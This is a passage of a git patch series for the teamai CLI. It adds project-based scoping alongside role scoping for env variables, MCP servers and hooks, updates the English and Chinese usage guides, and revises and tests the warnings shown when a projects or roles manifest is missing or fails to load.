member, naming the declared total when the two differ (`Synced 1 of 3 env variable(s)`), so a variable that was scoped away is distinguishable from one that was lost. + +Because the shell profile holds a single teamai block pointing at one `env.sh`, a machine that pulls in several project-scoped directories ends up with the last-pulled directory's variables in new shells. Each directory's own `env.sh` stays correct; it is the shell profile that can only point at one of them. + On `pull`, when `injectShellProfile` is enabled (default), the env block goes into `~/.zshrc` if `$SHELL` is zsh, otherwise `~/.bashrc` — except on Windows: `$SHELL` is normally unset there, and Git Bash starts as a *login* shell that never reads `.bashrc`, so teamai instead prefers an existing `~/.bash_profile`, then `~/.bash_login`, then `~/.profile`, falling back to `~/.bashrc` only when none of them exist (a zsh installed via MSYS2/Cygwin, which does set `$SHELL`, still resolves to `.zshrc`). This matches Git for Windows' own fallback in `/etc/profile.d/bash_profile.sh`, whose guard is `[ -e ~/.bashrc -a ! -e ~/.bash_profile -a ! -e ~/.bash_login -a ! -e ~/.profile ]` — it only synthesizes a `.bash_profile` that sources `.bashrc` in that same one case, which is why a stray `~/.profile` (even one that just sources something else, e.g. `~/.local/bin/env`) is enough to make `.bashrc` alone go unread. Override the target file with `sharing.env.shellProfilePath` in `teamai.yaml`. This preference order only decides where a *first* pull writes. Every pull after that sticks to whichever candidate already carries this scope's block, rather than re-running the order — otherwise Git for Windows' own bootstrap would move the target out from under it: the same `/etc/profile.d/bash_profile.sh` guard above also means that first pull satisfies its condition (`.bashrc` now exists, nothing else does yet), so the next Git Bash login shell auto-generates a `~/.bash_profile` that sources it. Without sticking to `.bashrc`, the next pull would prefer that newly-created file and inject a second block there, leaving the original — still working, just loaded one hop further away — reported as a dead leftover. @@ -777,12 +798,19 @@ servers: requires: [npx] # skipped with a hint when npx is absent from PATH tools: [claude, cursor] # optional; default is every capable tool roles: [devops] # optional; default is every member + projects: [checkout] # optional; default is every directory ``` `requires` is resolved from `PATH`. On Windows a name also matches a `PATHEXT` suffix (`uvx` matches `uvx.exe` / `uvx.cmd`). `roles` lists role ids from `manifest/roles.yaml`. A server ships to a member when one of their roles (`primaryRole` or `additionalRoles`) is listed; `roles: []` ships to nobody, the same way `tools: []` does. A member with no role configured receives every server, matching the unfiltered fallback skills and rules use. When a member changes role, servers that no longer match are removed on the next pull. Hand-added servers are never touched. An id that is not in `roles.yaml` produces one warning per pull. A teamai release older than this field ignores it and installs the server for everyone. +`projects` lists project ids from `manifest/projects.yaml` and follows the same rule on the other axis: a server ships to a directory when one of the projects it is bound to (`teamai projects set`) is listed; `projects: []` ships to nobody; a directory bound to no project receives every server. `teamai projects set` to another project removes the ones that no longer match on the next pull. An id that is not in `projects.yaml` produces one warning per pull, and so does a `projects:` key in a team that has no `projects.yaml` at all — there the key restricts nothing and every member receives the server. + +The two axes are independent and compose as **AND**: `roles: [frontend]` with `projects: [checkout]` reaches frontend members of checkout, not everyone on either. That is the same way `tools:` and `roles:` already compose, and deliberately not the union that role and project *resource namespaces* take — which answers the different question of which directories to sync. + +This is the cost these keys exist to control: a team with five projects and three servers each gives every member of a role fifteen server processes and fifteen tool lists in the context of every session. + Where each tool's servers land: | Tool | User scope | Project scope | @@ -1396,6 +1424,7 @@ hooks: timeout: 15 tools: [claude, cursor] roles: [devops] # optional; default is every member + projects: [checkout] # optional; default is every directory builtin: disabled: [Hook dispatch post-tool-use TodoWrite] @@ -1410,6 +1439,7 @@ builtin: | `matcher` | Optional tool matcher | | `tools` | Optional list of target tools (default = all tools that support hooks) | | `roles` | Optional list of role ids from `manifest/roles.yaml` (default = every member; `[]` = nobody). Applied before the security gates below; a role change removes the previous role's hooks on the next pull. Ignored by older teamai releases. | +| `projects` | Optional list of project ids from `manifest/projects.yaml` (default = every directory; `[]` = nobody). Matches the projects this directory is bound to via `teamai projects set`; a rebind removes the previous project's hooks on the next pull. ANDs with `roles`. Ignored by older teamai releases. | | `builtin.disabled` | List of disabled built-in hooks | | `builtin.overrides` | Only the `timeout` of a built-in hook can be overridden | diff --git a/docs/usage-guide.zh-CN.md b/docs/usage-guide.zh-CN.md index d74ba32c7..34dcbac80 100644 --- a/docs/usage-guide.zh-CN.md +++ b/docs/usage-guide.zh-CN.md @@ -717,6 +717,27 @@ teamai env list teamai push ``` +变量定义在团队仓库的 `env/env.yaml` 中。`teamai env add` 只写入前三个字段；`roles` 与 `projects` 需要手动编辑，与 hooks、MCP server 一致： + +```yaml +variables: + - key: API_ENDPOINT + value: https://api.example.com + description: 团队 API 地址 # 可选 + - key: CHECKOUT_DB_URL + value: https://checkout-db.internal + projects: [checkout] # 可选；默认所有目录 + - key: DEPLOY_REGISTRY + value: registry.internal + roles: [devops] # 可选；默认所有成员 +``` + +`roles` 与 `projects` 的规则与 MCP server、hooks 完全一致：省略时对所有人生效，`[]` 对任何人都不生效，成员未配置的那个维度不产生过滤，两者以 **AND** 组合。不再匹配的变量会在下一次 pull 时从 `env.sh` 中移除，因此切换角色或执行 `teamai projects set` 会把它从成员的 shell 中撤掉。对已存在的 key 执行 `teamai env add` 会保留它原有的 `roles:`/`projects:`。 + +`pull` 报告的是实际送达该成员的数量，与声明总数不同时会同时给出总数（`Synced 1 of 3 env variable(s)`），以便区分"被维度过滤掉"和"丢失"。 + +由于 shell 配置文件中只有一个 teamai 区块、只指向一个 `env.sh`，在多个项目级目录中都执行过 pull 的机器，新开的 shell 里会是最后一次 pull 的那个目录的变量。每个目录自己的 `env.sh` 仍然是正确的；只是 shell 配置文件只能指向其中一个。 + `pull` 时，若启用了 `injectShellProfile`（默认启用），`$SHELL` 为 zsh 时环境变量块会写入 `~/.zshrc`，否则写入 `~/.bashrc`——但 Windows 上例外：`$SHELL` 通常未设置，而 Git Bash 以*登录 shell*方式启动，从不读取 `.bashrc`，因此 teamai 会优先选择已存在的 `~/.bash_profile`、其次 `~/.bash_login`、再次 `~/.profile`，只有三者都不存在时才回退到 `~/.bashrc`（通过 MSYS2/Cygwin 安装、会设置 `$SHELL` 的 zsh 仍会解析到 `.zshrc`）。这与 Git for Windows 自身在 `/etc/profile.d/bash_profile.sh` 中的回退逻辑一致，其判断条件是 `[ -e ~/.bashrc -a ! -e ~/.bash_profile -a ! -e ~/.bash_login -a ! -e ~/.profile ]`——只有在这一种情况下它才会生成一个会 source `.bashrc` 的 `.bash_profile`；这也是为什么哪怕一个只 source 了其他内容（例如 `~/.local/bin/env`）的 `~/.profile` 存在，也足以让 `.bashrc` 单独失效。可通过 `teamai.yaml` 中的 `sharing.env.shellProfilePath` 覆盖目标文件。 这个优先级顺序只决定*第一次* pull 写到哪里。此后的每次 pull 都会沿用已经承载着本作用域代码块的那个候选文件，而不会重新走一遍优先级判断——否则 Git for Windows 自身的引导逻辑会把目标文件从脚下换掉：上面那条 `/etc/profile.d/bash_profile.sh` 判断条件，在第一次 pull 之后同样会成立（`.bashrc` 已存在，其余候选文件都还不存在），于是下一次 Git Bash 登录 shell 启动时就会自动生成一个 source 它的 `~/.bash_profile`。如果不沿用 `.bashrc`，下一次 pull 就会转而偏好这个新出现的文件，在那里注入第二个代码块，而原来那个——依旧在正常工作，只是多绕了一跳——则会被误报为失效的遗留代码块。 @@ -750,12 +771,19 @@ servers: requires: [npx] # PATH 上找不到 npx 时跳过并提示 tools: [claude, cursor] # 可选；默认所有支持 MCP 的工具 roles: [devops] # 可选；默认所有成员 + projects: [checkout] # 可选；默认所有目录 ``` `requires` 从 `PATH` 解析。Windows 上还会匹配 `PATHEXT` 后缀（`uvx` 可匹配 `uvx.exe` / `uvx.cmd`）。 `roles` 填写 `manifest/roles.yaml` 中的角色 id。成员的任一角色（`primaryRole` 或 `additionalRoles`）被列出时才会安装该 server；`roles: []` 对任何人都不安装，与 `tools: []` 一致。未配置角色的成员会收到全部 server，与 skills、rules 的无过滤回退一致。成员切换角色后，不再匹配的 server 会在下一次 pull 时移除，手动添加的 server 不受影响。`roles.yaml` 中不存在的 id 每次 pull 只提示一次。不支持该字段的旧版 teamai 会忽略它并为所有人安装。 +`projects` 填写 `manifest/projects.yaml` 中的项目 id，在另一个维度上遵循同一条规则：目录通过 `teamai projects set` 绑定的任一项目被列出时才会安装该 server；`projects: []` 对任何人都不安装；未绑定任何项目的目录会收到全部 server。`teamai projects set` 切换到其他项目后，不再匹配的 server 会在下一次 pull 时移除。`projects.yaml` 中不存在的 id 每次 pull 只提示一次；团队根本没有 `projects.yaml` 时同样会提示——此时该 key 不产生任何限制，所有成员都会收到该 server。 + +两个维度互相独立，并以 **AND** 组合：`roles: [frontend]` 与 `projects: [checkout]` 同时出现时，只分发给 checkout 上的 frontend 成员，而不是两者的并集。这与 `tools:` 和 `roles:` 现有的组合方式一致，也有意区别于角色与项目**资源命名空间**取并集的行为——后者回答的是"同步哪些目录"这个不同的问题。 + +这正是这两个 key 要控制的成本：一个有 5 个项目、每个项目 3 个 server 的团队，会让每位持有该角色的成员启动 15 个 server 进程，并在每次会话的上下文中携带 15 份工具列表。 + 各工具的落点： | 工具 | 用户级 | 项目级 | @@ -1356,6 +1384,7 @@ hooks: timeout: 15 tools: [claude, cursor] roles: [devops] # 可选；默认所有成员 + projects: [checkout] # 可选；默认所有目录 builtin: disabled: [Hook dispatch post-tool-use TodoWrite] @@ -1370,6 +1399,7 @@ builtin: | `matcher` | 可选，工具 matcher | | `tools` | 可选，目标工具列表（默认 = 所有 hook 支持的工具） | | `roles` | 可选，`manifest/roles.yaml` 中的角色 id 列表（默认 = 所有成员；`[]` = 无人）。在下方安全治理之前生效；切换角色后，原角色的 hooks 会在下一次 pull 时移除。旧版 teamai 会忽略该字段。 | +| `projects` | 可选，`manifest/projects.yaml` 中的项目 id 列表（默认 = 所有目录；`[]` = 无人）。匹配该目录通过 `teamai projects set` 绑定的项目；切换绑定后，原项目的 hooks 会在下一次 pull 时移除。与 `roles` 以 AND 组合。旧版 teamai 会忽略该字段。 | | `builtin.disabled` | 禁用的内置 hook 列表 | | `builtin.overrides` | 仅可覆盖内置 hook 的 `timeout` | From 5db9e7ceffb0c21ab94a1912224ea40d43e820be Mon Sep 17 00:00:00 2001 From: Saul Moro Date: Tue, 22 Sep 2026 01:52:24 +0200 Subject: [PATCH 07/12] fix(membership): correct the no-projects-manifest warning claim MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The warning said a projects: key with no manifest 'restricts nothing — they are delivered to every member'. The real-CLI run disproved it in its own output: the pull printed that warning next to 'Synced 2 of 4 env variable(s)'. A directory's active projects come from its own config.yaml, not from the manifest, so a directory bound to billing still filters out a projects: [checkout] entry with the manifest missing. What a missing manifest actually means is that no id can be validated, and that a directory bound to no project receives every entry. Says that instead. Adds the case that disproved the claim as a test. --- src/__tests__/hooks-security.test.ts | 4 ++-- src/__tests__/mcp-reconcile.test.ts | 17 +++++++++++++++-- src/__tests__/membership.test.ts | 7 ++++--- src/membership.ts | 20 ++++++++++++-------- 4 files changed, 33 insertions(+), 15 deletions(-) diff --git a/src/__tests__/hooks-security.test.ts b/src/__tests__/hooks-security.test.ts index 24e525463..682931518 100644 --- a/src/__tests__/hooks-security.test.ts +++ b/src/__tests__/hooks-security.test.ts @@ -334,7 +334,7 @@ hooks: expect(warnings[0]).toMatch(/unknown project id "chekout".*hooks\.yaml.*"typo"/); }); - it('reports that projects: restricts nothing when the team has no projects manifest', async () => { + it('reports that project ids cannot be checked when the team has no projects manifest', async () => { await writeRolesYaml(); await writeYaml(PROJECT_HOOKS); logWarn.mockClear(); @@ -343,7 +343,7 @@ hooks: membership: { roles: null, projects: null }, }); expect(defs.map((d) => d.key)).toEqual(['checkout-lint', 'billing-lint', 'everyone', 'nobody']); - const warnings = logWarn.mock.calls.map(([m]) => String(m)).filter((m) => /restricts nothing/.test(m)); + const warnings = logWarn.mock.calls.map(([m]) => String(m)).filter((m) => /cannot be checked/.test(m)); expect(warnings).toHaveLength(1); expect(warnings[0]).toContain('manifest/projects.yaml'); }); diff --git a/src/__tests__/mcp-reconcile.test.ts b/src/__tests__/mcp-reconcile.test.ts index 8297ab0a9..4b6b039eb 100644 --- a/src/__tests__/mcp-reconcile.test.ts +++ b/src/__tests__/mcp-reconcile.test.ts @@ -439,7 +439,7 @@ servers: expect(warnings[0]).toMatch(/unknown project id "chekout".*mcp\.yaml.*"typo"/); }); - it('reports that projects: restricts nothing when the team has no projects manifest', async () => { + it('reports that project ids cannot be checked when the team has no projects manifest', async () => { await fse.ensureDir(path.join(repoPath, 'manifest')); await fse.writeFile(path.join(repoPath, 'manifest', 'roles.yaml'), ROLES_YAML); await writeMcpYaml(SCOPED_YAML); @@ -450,10 +450,23 @@ servers: // Inert key: with no manifest every member's projects axis is null, so all ship. expect(Object.keys(await claudeServers()).sort()).toEqual(['billing-db', 'checkout-db', 'shared']); - const warnings = vi.mocked(log.warn).mock.calls.map(([m]) => String(m)).filter((m) => /restricts nothing/.test(m)); + const warnings = vi.mocked(log.warn).mock.calls.map(([m]) => String(m)).filter((m) => /cannot be checked/.test(m)); expect(warnings).toHaveLength(1); expect(warnings[0]).toContain('manifest/projects.yaml'); }); + + it('still filters by projects when the manifest is missing, for a directory that is bound to one', async () => { + // A directory's active projects come from its own config.yaml, not from the + // manifest. So a missing manifest means the ids cannot be VALIDATED — not + // that the key stops restricting, which only holds for a directory bound to + // no project. + await fse.ensureDir(path.join(repoPath, 'manifest')); + await fse.writeFile(path.join(repoPath, 'manifest', 'roles.yaml'), ROLES_YAML); + await writeMcpYaml(SCOPED_YAML); + + await reconcileMcpForConfig(teamConfig, { ...localConfig, projects: ['billing'] }); + expect(Object.keys(await claudeServers()).sort()).toEqual(['billing-db', 'shared']); + }); }); it('does not prune managed servers in http mode (install_mcp survives second sync)', async () => { diff --git a/src/__tests__/membership.test.ts b/src/__tests__/membership.test.ts index b52174e37..2553b6969 100644 --- a/src/__tests__/membership.test.ts +++ b/src/__tests__/membership.test.ts @@ -175,7 +175,7 @@ describe('warnUnknownMembershipIds', () => { expect(warn).toHaveBeenCalledTimes(1); }); - it('reports a projects: key as restricting nothing when no projects manifest exists', async () => { + it('reports that project ids cannot be checked when no projects manifest exists', async () => { const repo = repoWith({ 'manifest/roles.yaml': ROLES_YAML }); await warnUnknownMembershipIds(repo, 'mcp.yaml', [ { kind: 'server', name: 'db', projects: ['checkout'] }, @@ -184,7 +184,8 @@ describe('warnUnknownMembershipIds', () => { expect(warn).toHaveBeenCalledTimes(1); const message = warn.mock.calls[0][0] as string; expect(message).toContain('manifest/projects.yaml'); - expect(message).toContain('restricts nothing'); + expect(message).toContain('cannot be checked'); + expect(message).toContain('bound to no project'); expect(message).toContain('2'); // Not the typo wording: there is no valid-id list to print. expect(message).not.toContain('unknown project id'); @@ -197,7 +198,7 @@ describe('warnUnknownMembershipIds', () => { }); await warnUnknownMembershipIds(repo, 'mcp.yaml', [{ kind: 'server', name: 'db', projects: ['checkout'] }]); expect(warn).toHaveBeenCalledTimes(1); - expect(warn.mock.calls[0][0]).toContain('restricts nothing'); + expect(warn.mock.calls[0][0]).toContain('cannot be checked'); }); it('stays silent about roles when the roles manifest cannot be read', async () => { diff --git a/src/membership.ts b/src/membership.ts index 9815366fd..fe6fce844 100644 --- a/src/membership.ts +++ b/src/membership.ts @@ -87,11 +87,15 @@ function warnOnce(dedupeKey: string, message: string): void { * there is nothing to check against. * * The projects axis has one case the roles axis cannot have: a team with no - * `manifest/projects.yaml` at all (or one defining zero projects). Every member - * then has a null projects axis, so a `projects:` key restricts nothing and the - * entry ships to everyone. That is reported with its own wording — there is no - * valid-id list to suggest, and the mistake is a missing manifest rather than a - * misspelled id. + * `manifest/projects.yaml` at all (or one defining zero projects). There is then + * no id list to check against, so that is reported with its own wording rather + * than as a typo. + * + * Note it is NOT the same as "the key has no effect". A directory's active + * projects come from its own config.yaml, not from the manifest, so a directory + * bound to `billing` still filters out a `projects: [checkout]` entry with the + * manifest missing. What the missing manifest does mean is that no id can be + * validated, and that a directory bound to no project receives every entry. */ export async function warnUnknownMembershipIds( repoPath: string, @@ -129,9 +133,9 @@ export async function warnUnknownMembershipIds( if (knownProjects.length === 0) { warnOnce( `${file}:projects:`, - `projects: manifest/projects.yaml defines no projects, so "projects:" on ${projectScoped.length} ${file} ` - + `${projectScoped.length === 1 ? 'entry' : 'entries'} restricts nothing — they are delivered to every member. ` - + 'Define the projects there, or drop the key.', + `projects: manifest/projects.yaml defines no projects, so the "projects:" ids on ${projectScoped.length} ` + + `${file} ${projectScoped.length === 1 ? 'entry' : 'entries'} cannot be checked, and every directory bound ` + + 'to no project receives them. Define the projects there, or drop the key.', ); return; } From 65b7f14b919733fdeeacfb27f195d42c93f34348 Mon Sep 17 00:00:00 2001 From: Saul Moro Date: Tue, 22 Sep 2026 02:12:02 +0200 Subject: [PATCH 08/12] fix(membership): report a manifest that does not load, and warn on dry-run MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Four findings from the review pass. loadProjectsManifest returns null only when the file is ABSENT; it throws for bad YAML, a bad shape, a duplicate id or an unsafe namespace. The catch-to-null conflated the two, so a team whose projects.yaml fails validation was told it 'defines no projects. Define the projects there, or drop the key' — false, and it discarded the loader's own message naming the fault. Each axis now reports three outcomes: ids to check against, no manifest, or the real load error. The roles axis had the same failure handled differently twelve lines away, silently. Both axes now read alike, via a new loadRolesManifestIfPresent that mirrors loadProjectsManifest's contract: absent is a value, invalid is an error. A team with no roles.yaml is ordinary and stays silent; a broken one is named. The env unknown-id warning moved from EnvHandler.pullItem to pullForScope. --dry-run skips pullItem, so the one command a maintainer runs to check a scoping edit was the one that never warned, while hooks and MCP warned there already. countDeliverableEnvVars folded into that call site and is gone. SAFE_SEGMENT_MESSAGE was over-escaped and printed a doubled backslash. Also: the two axis loops were one shape, now one loop; MembershipScope reads as EntryScope, the mirror of Membership rather than a near-synonym; and the pull-skip-sync mock takes activeRoleIds from vi.importActual instead of restating its body. --- src/__tests__/env-handler.test.ts | 11 +- src/__tests__/membership.test.ts | 44 ++++++- src/__tests__/pull-skip-sync.test.ts | 13 +- src/membership.ts | 175 +++++++++++++++------------ src/pull.ts | 15 ++- src/resources/env.ts | 21 +--- src/roles.ts | 14 +++ 7 files changed, 187 insertions(+), 106 deletions(-) diff --git a/src/__tests__/env-handler.test.ts b/src/__tests__/env-handler.test.ts index c6f43dbe6..76d0820d9 100644 --- a/src/__tests__/env-handler.test.ts +++ b/src/__tests__/env-handler.test.ts @@ -239,7 +239,7 @@ scope: 'user', expect(count).toBe(0); }); - it('reports the deliverable count separately, for the pull summary line', async () => { + it('counts the declared total, which the pull summary pairs with the deliverable one', async () => { const envYamlPath = path.join(repoPath, 'env', 'env.yaml'); await fse.writeFile(envYamlPath, YAML.stringify({ variables: [ @@ -249,9 +249,14 @@ scope: 'user', ], })); + // `pullForScope` pairs this with resolveDeliverableEnvVariables to print + // "Synced 2 of 3". The count itself stays unfiltered (see #662 above). expect(await handler.countEnvVars(envYamlPath)).toBe(3); - expect(await handler.countDeliverableEnvVars(envYamlPath, { ...localConfig, projects: ['checkout'] })).toBe(2); - expect(await handler.countDeliverableEnvVars(envYamlPath, localConfig)).toBe(3); + const read = await handler.readEnvYaml(envYamlPath); + expect(read.ok && resolveDeliverableEnvVariables(read.variables, { roles: null, projects: ['checkout'] })) + .toHaveLength(2); + expect(read.ok && resolveDeliverableEnvVariables(read.variables, { roles: null, projects: null })) + .toHaveLength(3); }); it('counts what the team declares, not what reaches this member', async () => { diff --git a/src/__tests__/membership.test.ts b/src/__tests__/membership.test.ts index 2553b6969..f7b7664fd 100644 --- a/src/__tests__/membership.test.ts +++ b/src/__tests__/membership.test.ts @@ -111,6 +111,18 @@ describe('matchesMembership', () => { expect(matchesMembership({ roles: ['devops'], projects: ['billing'] }, member)).toBe(false); }); + it('intersects a member bound to SEVERAL projects, rather than comparing one active project', () => { + // The line the issue calls out: `projects:` matches on an intersection, the + // same way `roles:` does, and not on equality with a single active project. + const onBoth = { roles: null, projects: ['checkout', 'billing'] }; + expect(matchesMembership({ projects: ['checkout'] }, onBoth)).toBe(true); + expect(matchesMembership({ projects: ['billing'] }, onBoth)).toBe(true); + expect(matchesMembership({ projects: ['billing', 'legacy'] }, onBoth)).toBe(true); + expect(matchesMembership({ projects: ['legacy'] }, onBoth)).toBe(false); + // Symmetric: neither side is privileged, both may hold several ids. + expect(matchesMembership({ roles: ['devops', 'data'] }, { roles: ['data', 'pm'], projects: null })).toBe(true); + }); + it('keeps the axes independent: an unconfigured axis never vetoes a configured one', () => { // Member on `checkout` with no role configured: a frontend+checkout entry reaches them. expect(matchesMembership({ roles: ['frontend'], projects: ['checkout'] }, { roles: null, projects: ['checkout'] })) @@ -201,7 +213,37 @@ describe('warnUnknownMembershipIds', () => { expect(warn.mock.calls[0][0]).toContain('cannot be checked'); }); - it('stays silent about roles when the roles manifest cannot be read', async () => { + it('reports why a projects manifest did not load, instead of claiming there are none', async () => { + // loadProjectsManifest returns null ONLY when the file is absent; it throws + // for bad YAML, bad shape, a duplicate id or an unsafe namespace. Collapsing + // the two would tell a maintainer with a broken manifest to "define the + // projects there", and throw away the only message naming the real fault. + const repo = repoWith({ + 'manifest/roles.yaml': ROLES_YAML, + 'manifest/projects.yaml': 'version: 1\nprojects:\n - id: dup\n resources: {}\n - id: dup\n resources: {}\n', + }); + await warnUnknownMembershipIds(repo, 'mcp.yaml', [{ kind: 'server', name: 'db', projects: ['checkout'] }]); + expect(warn).toHaveBeenCalledTimes(1); + const message = warn.mock.calls[0][0] as string; + expect(message).toContain('cannot be checked'); + expect(message).toContain('duplicate project id "dup"'); + expect(message).not.toContain('defines no projects'); + }); + + it('reports why a roles manifest did not load, but stays silent when there simply is none', async () => { + const broken = repoWith({ 'manifest/roles.yaml': 'version: 1\nroles: []\n' }); + await warnUnknownMembershipIds(broken, 'hooks.yaml', [{ kind: 'hook', name: 'fmt', roles: ['frontend'] }]); + expect(warn).toHaveBeenCalledTimes(1); + expect(warn.mock.calls[0][0]).toContain('manifest/roles.yaml could not be read'); + + warn.mockClear(); + __resetMembershipWarnings(); + const absent = repoWith({ 'manifest/projects.yaml': PROJECTS_YAML }); + await warnUnknownMembershipIds(absent, 'hooks.yaml', [{ kind: 'hook', name: 'fmt', roles: ['frontend'] }]); + expect(warn).not.toHaveBeenCalled(); + }); + + it('stays silent about roles when the team has no roles manifest at all', async () => { const repo = repoWith({ 'manifest/projects.yaml': PROJECTS_YAML }); await warnUnknownMembershipIds(repo, 'hooks.yaml', [{ kind: 'hook', name: 'fmt', roles: ['frontend'] }]); expect(warn).not.toHaveBeenCalled(); diff --git a/src/__tests__/pull-skip-sync.test.ts b/src/__tests__/pull-skip-sync.test.ts index c4826852d..8b7b2c656 100644 --- a/src/__tests__/pull-skip-sync.test.ts +++ b/src/__tests__/pull-skip-sync.test.ts @@ -40,7 +40,7 @@ vi.mock('../utils/logger.js', () => ({ })), })); -vi.mock('../roles.js', () => ({ +vi.mock('../roles.js', async () => ({ loadRolesManifest: vi.fn().mockResolvedValue({ version: 1, roles: [ @@ -66,12 +66,11 @@ vi.mock('../roles.js', () => ({ }; }), // Env delivery resolves the member's role axis (#668), so this partial mock has - // to carry activeRoleIds too — the real one is a pure read of localConfig. - activeRoleIds: vi.fn((localConfig: { primaryRole?: string; additionalRoles?: string[] }) => - localConfig.primaryRole - ? [...new Set([localConfig.primaryRole, ...(localConfig.additionalRoles ?? [])])] - : null, - ), + // to carry activeRoleIds and the loader membership.ts reads. Taken from the real + // module rather than restated, so a change to either cannot drift from its stub. + activeRoleIds: (await vi.importActual('../roles.js')).activeRoleIds, + listRoleIds: (await vi.importActual('../roles.js')).listRoleIds, + loadRolesManifestIfPresent: vi.fn().mockResolvedValue(null), })); // Isolation: pull() takes a real ~/.teamai/.sync-lock. Parallel vitest workers diff --git a/src/membership.ts b/src/membership.ts index fe6fce844..ab79037ae 100644 --- a/src/membership.ts +++ b/src/membership.ts @@ -1,7 +1,12 @@ -import { activeRoleIds, listRoleIds, loadRolesManifest } from './roles.js'; +import { activeRoleIds, listRoleIds, loadRolesManifestIfPresent } from './roles.js'; import { activeProjectIds, listProjectIds, loadProjectsManifest } from './projects.js'; import { log } from './utils/logger.js'; +/** The two axes an entry can be scoped on, and a member can be measured against. */ +const AXES = ['roles', 'projects'] as const; + +type Axis = typeof AXES[number]; + /** * The two membership axes TeamAI resolves delivery on, for THIS member in THIS * directory. Roles come from `primaryRole` + `additionalRoles`; projects from @@ -9,21 +14,17 @@ import { log } from './utils/logger.js'; * * `null` on an axis means "this member has not configured that axis", which * matches every entry scoped on it — the same unfiltered fallback skills and - * rules use. It is deliberately not the same as `[]`: an axis the member has - * configured as empty cannot occur (see `activeRoleIds` / `activeProjectIds`, - * both of which collapse an empty list to `null`), but an *entry* scoped with - * an empty list reaches nobody. + * rules use, and the reason adding a `projects:` key changes nothing for a + * member who has never run `teamai projects set`. */ -export type Membership = { - roles: string[] | null; - projects: string[] | null; -}; +export type Membership = Record; -/** An entry (hook, MCP server, env variable) that may restrict either axis. */ -export type MembershipScope = { - roles?: string[]; - projects?: string[]; -}; +/** + * The optional scoping keys an entry (hook, MCP server, env variable) may carry. + * The mirror image of `Membership`: this is what the entry demands, that is what + * the member holds. + */ +export type EntryScope = Partial>; /** * Both membership axes for this member, resolved once per run. Each axis is @@ -39,9 +40,14 @@ export function resolveMembership( } /** - * Does one axis of an entry apply to this member? Omitted = everyone, an empty - * list = nobody, and a null active set (axis not configured) matches everything. - * Mirrors the `tools:` filter. + * Does one axis of an entry apply to this member? Omitted = everyone, and + * otherwise the entry and the member must share at least one id. + * + * A null active set means the member has not configured that axis, and then + * everything matches — including an entry scoped `[]`. That is pre-existing + * `matchesRoles` behaviour, kept deliberately rather than quietly changed: an + * empty list reaches nobody among members who DO use the axis, which is the + * case teams actually write it for. See the note on `[]` in the usage guide. */ function matchesAxis(entryKeys: string[] | undefined, active: string[] | null): boolean { if (!entryKeys || active == null) return true; @@ -58,14 +64,36 @@ function matchesAxis(entryKeys: string[] | undefined, active: string[] | null): * resource namespaces — which answers the different question of which * directories to sync, rather than filtering one entry. * - * One call covers both axes so a delivery path cannot filter on one and forget - * the other. + * Taking the whole entry, rather than one axis at a time, is what makes + * "filtered on roles, forgot projects" unrepresentable at a call site. */ -export function matchesMembership(entry: MembershipScope, membership: Membership): boolean { - return matchesAxis(entry.roles, membership.roles) && matchesAxis(entry.projects, membership.projects); +export function matchesMembership(entry: EntryScope, membership: Membership): boolean { + return AXES.every((axis) => matchesAxis(entry[axis], membership[axis])); } -/** `${file}:${axis}:${id}` pairs already reported in this process (pull runs each +/** + * The ids each axis's manifest defines, or `null` when the team has no such + * manifest. Throws when a manifest exists but does not load, which the caller + * reports rather than swallows. + */ +const KNOWN_IDS: Record Promise> = { + roles: async (repoPath) => { + const manifest = await loadRolesManifestIfPresent(repoPath); + return manifest ? listRoleIds(manifest) : null; + }, + projects: async (repoPath) => { + const manifest = await loadProjectsManifest(repoPath); + return manifest ? listProjectIds(manifest) : null; + }, +}; + +/** The manifest file each axis is defined in, for warning text. */ +const MANIFEST_FILE: Record = { + roles: 'manifest/roles.yaml', + projects: 'manifest/projects.yaml', +}; + +/** `${file}:${axis}:${id}` keys already reported in this process (pull runs each * reconciler once per scope; the member should read the warning once). */ const reportedUnknownIds = new Set(); @@ -81,73 +109,68 @@ function warnOnce(dedupeKey: string, message: string): void { } /** - * Warn once per pull for each id that an entry's `roles:` or `projects:` names - * but the matching manifest does not define. A typo would otherwise ship the - * entry to nobody in silence. Never fails the run: without a readable manifest - * there is nothing to check against. + * Warn once per pull for each id an entry's `roles:` or `projects:` names that + * the matching manifest does not define. A typo would otherwise ship the entry + * to nobody in silence. Never fails the run. + * + * Three outcomes per axis, because they mean different things to a maintainer: * - * The projects axis has one case the roles axis cannot have: a team with no - * `manifest/projects.yaml` at all (or one defining zero projects). There is then - * no id list to check against, so that is reported with its own wording rather - * than as a typo. + * manifest loads an id it does not define is a typo; name the valid ones + * manifest is absent nothing to check against. For projects this is worth + * saying, since a directory bound to no project then + * receives every entry. For roles it is ordinary: plenty + * of teams run without roles.yaml, so it stays silent. + * manifest is broken report the loader's own reason. Reducing this to + * "no manifest" would state something false and throw + * away the only message that says what to fix. * - * Note it is NOT the same as "the key has no effect". A directory's active - * projects come from its own config.yaml, not from the manifest, so a directory - * bound to `billing` still filters out a `projects: [checkout]` entry with the - * manifest missing. What the missing manifest does mean is that no id can be - * validated, and that a directory bound to no project receives every entry. + * Note an absent projects manifest does NOT mean the key stops restricting. A + * directory's active projects come from its own config.yaml, so a directory + * bound to `billing` still filters out a `projects: [checkout]` entry. What is + * lost is the ability to validate the ids. */ export async function warnUnknownMembershipIds( repoPath: string, file: string, - entries: Array<{ kind: string; name: string } & MembershipScope>, + entries: Array<{ kind: string; name: string } & EntryScope>, ): Promise { - const scoped = entries.filter((entry) => entry.roles?.length || entry.projects?.length); - if (scoped.length === 0) return; + for (const axis of AXES) { + const scoped = entries.filter((entry) => entry[axis]?.length); + if (scoped.length === 0) continue; - if (scoped.some((entry) => entry.roles?.length)) { - let knownRoles: Set | null = null; + let known: string[] | null; try { - knownRoles = new Set(listRoleIds(await loadRolesManifest(repoPath))); - } catch { - knownRoles = null; + known = await KNOWN_IDS[axis](repoPath); + } catch (error) { + warnOnce( + `${file}:${axis}:`, + `${axis}: ${MANIFEST_FILE[axis]} could not be read, so the "${axis}:" ids in ${file} cannot be checked. ` + + `${error instanceof Error ? error.message : String(error)}`, + ); + continue; } - if (knownRoles) { - for (const entry of scoped) { - for (const role of entry.roles ?? []) { - if (knownRoles.has(role)) continue; - warnOnce( - `${file}:roles:${role}`, - `roles: unknown role id "${role}" in ${file} ${entry.kind} "${entry.name}". Valid roles: ${[...knownRoles].join(', ')}`, - ); - } 